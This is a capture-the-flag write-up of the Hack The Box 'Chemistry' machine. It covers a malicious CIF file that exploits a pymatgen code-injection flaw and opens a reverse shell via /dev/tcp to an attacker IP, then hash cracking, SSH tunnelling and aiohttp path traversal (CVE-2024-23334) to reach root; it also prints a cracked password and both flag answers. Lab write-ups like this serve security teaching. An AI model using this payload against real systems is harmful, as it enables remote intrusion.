> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/write-ups/htb-machines/chemistry.md).

# Chemistry (Easy)

## <mark style="color:blue;">Description</mark>

* **Difficulty** <mark style="color:green;">**->**</mark> Easy
* **OS** <mark style="color:green;">**->**</mark> Linux
* **State** <mark style="color:green;">-></mark> Retired
* **Tags** <mark style="color:green;">-></mark> Web Application  &#x20;/ Custom Applications / Arbitrary File Read / Remote Code Execution\
  &#x20;              / Python

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FII2kR9Dq3y5VplJeHgp8%2Fimage.png?alt=media&amp;token=4c9dbe9c-c87d-405a-b2f0-a76fbca3e737" alt=""><figcaption><p><a href="https://app.hackthebox.com/machines/631">https://app.hackthebox.com/machines/631</a></p></figcaption></figure>

## <mark style="color:blue;">Write-up</mark>

* I started doing an initial port scan using [*Nmap*](/hacking-knowledge/networks-wip/tools-and-utilities.md#nmap)

{% code lineNumbers="true" %}

```bash
nmap 10.129.92.228 -p- -Pn --min-rate 2500 -oN scan.txt
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fr22H638RzKgly0mCGzcN%2Fimage.png?alt=media&amp;token=9783f1e2-f26d-4a89-8934-61dc5f3d3891" alt=""><figcaption></figcaption></figure>

***

* Then I did an exhaustive scan to learn more about the services running on the open ports

{% code overflow="wrap" lineNumbers="true" %}

```bash
nmap 10.129.92.228 -p22,5000 -sVC -oN serv_scan.txt
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FfZPH07o3JubKEoEkUI7C%2Fimage.png?alt=media&amp;token=dafad352-75ce-4334-9d5c-ed080cba8277" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* I found the HTTP protocol running on port 5000; in this case, a Universal Plug and Play (UPNP) service that helps in network discovery. So, to check it, I navigated to the address using the browser, and there I found a simple site that seemed to be a program for processing files related to chemistry. I tried to register and log in, which sent me to a dashboard with an option to upload a Crystallographic Information File (CIF)

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7Z6e1zcia178YNgoo5LI%2Fimage.png?alt=media&amp;token=3adf2769-2cbb-43e9-bfeb-99dc21eb36d3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FnJzMFmJPBsfCAEOorvdV%2Fimage.png?alt=media&amp;token=39e66856-29e4-48f9-a4ac-7b31c7ed4b03" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the HTTP protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/http.md)
{% endhint %}

***

* I didn't know about this type of file, but the site also allowed me to download a sample file to check which parameters the page processed and the file format

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F09cXSOF7HjfGpHV39niq%2Fimage.png?alt=media&amp;token=280a585d-f0d6-4082-8740-6448963af065" alt=""><figcaption></figcaption></figure>

***

* As I was able to modify and reupload the file to the web, it could lead to a possible File Upload vulnerability, so I could try to leverage it to gain a Reverse Shell from the server. To do so, I checked on the web for possible CVE*s* and exploits. In this process, I found an interesting [repository](https://github.com/materialsproject/pymatgen/security/advisories/GHSA-vgv8-5cpj-qj2f) with a vulnerability that affected versions *2024.2.8* or lower and could help me gain RCE on the target

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FmssAWffpQRdor8zHljLX%2Fimage.png?alt=media&amp;token=a5344413-0132-4d3c-8ab3-47ddea6b253f" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about File Upload exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/abuse-file-upload-wip.md)
{% endhint %}

***

* With this, I crafted a modified version of the CIF file to execute commands remotely. In that case, I modified it by adding a script to gain a reverse shell

{% code title="exploit.cif" overflow="wrap" lineNumbers="true" %}

```
data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/10.10.14.58/4444 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "
```

{% endcode %}

{% hint style="info" %}
I used a custom payload for the reverse shell because some standard payloads didn't work, and the script had special characters that needed to be interpreted&#x20;
{% endhint %}

***

* After that, I uploaded the file to the system and set a [*Netcat*](/hacking-knowledge/networks-wip/tools-and-utilities.md#netcat) listener on my machine to receive the connection. Then, I clicked the *View* button to run the internal script, observing that the page kept loading and checking that the listener had caught the shell from the host. I also sanitized the terminal to work more comfortably and checked which user I was, now having access as the *app* user, the one from the web server

{% code lineNumbers="true" %}

```bash
nc -nvlp 4444
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7D8RKJ14iR15pIaQd5mv%2Fimage.png?alt=media&amp;token=61fee48e-eade-4da6-b09c-ea61009317da" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FKQxEg4eCADejheVi9LVP%2Fimage.png?alt=media&amp;token=d5eedbc9-3758-433c-9d40-115bad5b19a4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FnOkBD6xCe0CXuFwaPAS2%2Fimage.png?alt=media&amp;token=ae02d533-abd2-4886-bd02-5acd4225cf68" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the sanitization process, you can go [here](/hacking-knowledge/linux/useful-shell-resources.md#tty-sanitization)
{% endhint %}

***

* Then I navigated through the system, checking for a possible way to do lateral movement or privilege escalation. I found that in the */home* folder, there was a folder for another user named *rosa*. I listed the files under this directory and found a *user.txt* file, but when trying to read its content, I didn't have the proper permissions

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FTP32T2LOPIbkzgwsM4qN%2Fimage.png?alt=media&amp;token=306ecb01-723f-4b4f-901c-772ec93a2732" alt=""><figcaption></figcaption></figure>

***

* In these circumstances, I needed to do lateral movement to gain access as *rosa*. Searching for any clue about how to do it, I found that under the */home/app/instance* folder (which contained files of the web service), there was a *database.db* file, and checking its type with the `file` command, I confirmed it was a *SQLite3* database

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F2aqZ09lQRb4b7pthpTlg%2Fimage.png?alt=media&amp;token=73cfaece-f18b-4e21-b481-8b192662c901" alt=""><figcaption></figcaption></figure>

***

* Knowing this, I interacted with it and retrieved some information. I queried information about the tables and found a user table, and by reading its information, I found some users and values that could be hashes for passwords. I noticed that the same user *rosa* was in this database, so I could assume it was the system user and try to crack the hash to obtain the password

{% code overflow="wrap" lineNumbers="true" %}

```bash
sqlite3 database.db
sqlite> .tables
sqlite> SELECT * FROM user;
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F8kre1DbHhGwWSLpR8Akx%2Fimage.png?alt=media&amp;token=6079020d-0212-4836-a7ba-63c0edcbbadb" alt=""><figcaption></figcaption></figure>

***

* To do that, I used the online tool [*CrackStation*](/hacking-knowledge/cryptography-wip/tools-and-utilities.md#crackstation) to recognize and break the hash, and I was lucky because it was a known MD5 hash that revealed the password *unicorniosrosados*

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FdBYRd8sBlziX0W1YFuVt%2Fimage.png?alt=media&amp;token=0df7e169-6711-4a6b-8f85-4e0ddd394c79" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about MD5 or other hashes, you can go [here](/hacking-knowledge/cryptography-wip/fundamental-concepts/hashing-wip.md#well-known-hashes)
{% endhint %}

***

* Then, I tried to connect through SSH to the *rosa* user using this password and got in successfully. I also sanitized the terminal again to interact with it better

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FM2BGB4OzNb4EwLDaRPB8%2Fimage.png?alt=media&amp;token=8acb9af8-bb33-44d4-935b-916e2ac621f6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FqhHgRjkOz8sXsJtWWP9V%2Fimage.png?alt=media&amp;token=4692556a-1519-4641-9107-280f04c2dad7" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn more about the SSH protocol, you can go [here](/hacking-knowledge/networks-wip/protocols/ssh.md)
{% endhint %}

***

* With that, I had proper read permissions to read the u*ser.txt* file in the */home/rosa* folder and retrieved the user flag

{% code overflow="wrap" lineNumbers="true" %}

```bash
cat user.txt
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F9em5z43yWM6nPs4UeoKH%2Fimage.png?alt=media&amp;token=1c43a8e8-be43-4ae6-adb6-a5b729fe452a" alt=""><figcaption></figcaption></figure>

***

* With that, I got the user flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FCo1DMyGXicEyKFHfPVJd%2Fimage.png?alt=media&amp;token=456cd876-47ce-41a2-8fd8-f7f62ee3087f" alt=""><figcaption></figcaption></figure>

> Answer: ***4322e11a0bd69f9f5c49e46ce07b3f35***

***

* Then, I had to find a way to escalate privileges. I started searching, but after a while, I didn't find anything. So, to facilitate the process, I tried using [*Linpeas*](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/tools-and-utilities.md#linpeas) to help me find possible paths for the escalation. After importing it and running it, in the results obtained, I found there was a service running locally on port 8080, which is normally used for some web servers

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FcfFIbtJcVKQXpSjhQhXA%2Fimage.png?alt=media&amp;token=aa85e093-a74c-4c76-b9e7-19d3a5c31144" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* As it is locally deployed, I couldn't access the service directly through a browser, but as I had access to the system via SSH, I could try to make a tunnel via local port forwarding to access it from my machine. I did the tunneling process, and to confirm it had worked, I accessed the service in the browser and observed the web service deployed correctly

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh -L 7777:127.0.0.1:8080 rosa@10.129.92.228
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F4j6Qz0w40WgqxMXjAoD1%2Fimage.png?alt=media&amp;token=d54a628f-f131-4902-aaec-40f7c39c348a" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FPszIY8y2szEN0rI2Thbb%2Fimage.png?alt=media&amp;token=54017258-b844-4807-a1b2-c09739b50700" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2Fe99qYATr7Ssr1vrhPIdd%2Fimage.png?alt=media&amp;token=47df02ed-3421-41bc-94c8-4c96531aab71" alt=""><figcaption></figcaption></figure>

***

* I explored the site, which seemed to be a statistics service, but after a while, I didn't find anything interesting, so I tried to retrieve information on the components. I used the `curl` command to send a request and retrieve some information based on the headers of the response

{% code overflow="wrap" lineNumbers="true" %}

```bash
curl http://localhost:7777 --head
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FjCQsR5bWm0JnDkFjSI2P%2Fimage.png?alt=media&amp;token=e903e28c-1607-41bb-9047-1cb25d87c42b" alt=""><figcaption></figcaption></figure>

***

* I found that the HTTP server was using the [*aiohttp*](https://docs.aiohttp.org/en/stable/) Python library to deploy the web content and its corresponding version. With this, I searched for some possible related CVEs, and after some research, I found a *GitHub* [repository](https://github.com/wizarddos/CVE-2024-23334) with a POC for *CVE-2024-23334,* which exploited a Local File Inclusion vulnerability in versions 3.9.1 or lower of *aiohttp* to read files as the *root* user

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FfSUrgJJw7IdiN5KkS01E%2Fimage.png?alt=media&amp;token=d384f9ff-3a6f-496d-b9fa-550782e301d6" alt=""><figcaption><p><a href="https://github.com/wizarddos/CVE-2024-23334">https://github.com/wizarddos/CVE-2024-23334</a></p></figcaption></figure>

{% hint style="success" %}
To learn more about Local File Inclusion exploitation, you can go [here](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/local-file-inclusion-wip.md)
{% endhint %}

***

* I downloaded the exploit and used it to automate the attack, but I needed to find a static route to execute the attack. With a little [research](https://stackoverflow.com/questions/62499380/serving-static-files-in-an-http-server), I found some standard folders for static files. I tried some of them in the exploit and noticed that using the */assets* route, it worked

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FjuGLmY11FujDQAyD7761%2Fimage.png?alt=media&amp;token=1b953b27-ef92-44ed-a0c7-64fa1e9e78e9" alt=""><figcaption><p>snippet</p></figcaption></figure>

***

* Finally, as I was reading files as the *root* user, I tried accessing the */root* folder and reading the content of the *root.txt* if it existed, and with that, I luckily retrieved the root flag

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FPWkSAVv2p82ArzzY0NEj%2Fimage.png?alt=media&amp;token=29db2655-b2a4-444e-8bd8-5d6d7fd09ca7" alt=""><figcaption></figcaption></figure>

***

* With that, I got the root flag and pwned the machine

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F7IT97FbkPlTo5KtwskbE%2Fimage.png?alt=media&amp;token=04037b77-8ec9-429a-87d1-9f8e19d957fe" alt=""><figcaption></figcaption></figure>

> Answer: ***861d48a12f6494bc174cca5585a3a3e1***

## <mark style="color:blue;">Alternative Privilege Escalation</mark>

* I could also escalate privileges by retrieving information on the SSH keys for the *root* user. I checked for them in the standard */.ssh* folder using the default name *id\_rsa*, and fortunately, the file existed and leaked the private key

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2F5BzwZGtmCBJF3Y8hZucL%2Fimage.png?alt=media&amp;token=84511db9-2fa4-4d5b-9fde-83f2dbc681cf" alt=""><figcaption></figcaption></figure>

***

* With this, I copied the key into a local file and used it to access the target via SSH. With that done, I could go to the */root* folder and read the *root.txt* file to retrieve the root flag

{% code overflow="wrap" lineNumbers="true" %}

```bash
ssh root@10.129.92.228 -i id_rsa
```

{% endcode %}

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FEc32xcHVktqMCZD2nQH3%2Fimage.png?alt=media&amp;token=4dfe0b52-320e-4d7b-a6e2-33508289319d" alt=""><figcaption><p>snippet</p></figcaption></figure>

<figure><img src="https://1571945027-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtgxeteB8N7iEoJU7WZh6%2Fuploads%2FELgZ9EkzfwdFUifFB04b%2Fimage.png?alt=media&amp;token=b737ec12-f91a-41ee-a170-bf7c75d2fed9" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
To learn in detail about the abuse of SSH keys for privilege escalation, you can go [here](/hacking-knowledge/penetration-testing/process-stages/post-exploitation/privilege-escalation.md#abusing-ssh-keys)
{% endhint %}
